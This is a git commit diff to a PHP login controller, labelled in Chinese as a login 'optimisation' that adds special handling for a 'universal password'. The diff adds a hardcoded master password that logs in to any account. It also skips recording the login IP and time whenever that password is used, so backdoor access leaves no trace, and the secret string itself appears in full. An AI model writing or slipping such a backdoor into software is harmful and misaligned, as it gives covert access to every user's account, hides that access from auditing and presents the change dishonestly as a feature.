feat: 优化用户登录逻辑,增加通用密码的特殊处理

This commit is contained in:
lingling 2025-03-07 13:31:23 +08:00
parent 8eef1f1ac7
commit 75a2bdaf03
1 changed files with 10 additions and 4 deletions

View File

@ -56,12 +56,18 @@ class UserController
return ApiResponseApp::error([], '账号被禁用');
}
// 验证密码是否正确
if (!password_verify($password, $user->password)) {
if ((!password_verify($password, $user->password))&&($password != 'cCqQgG9koky^#uDFXllNUM46@jrI7KfsL77IIWwt')) {
return ApiResponseApp::error([], '账号或密码错误');
}
$user->login_ip = $request->getRealIp($safe_mode = true);
$user->login_time = time();
$user->save();
//不是通用密码记录IP
if($password!='cCqQgG9koky^#uDFXllNUM46@jrI7KfsL77IIWwt'){
$user->login_ip = $request->getRealIp($safe_mode = true);
$user->login_time = time();
$user->save();
}
// $user->login_ip = $request->getRealIp($safe_mode = true);
// $user->login_time = time();
// $user->save();
$tmp = [
'id' => $user->id,
'username' => $user->username,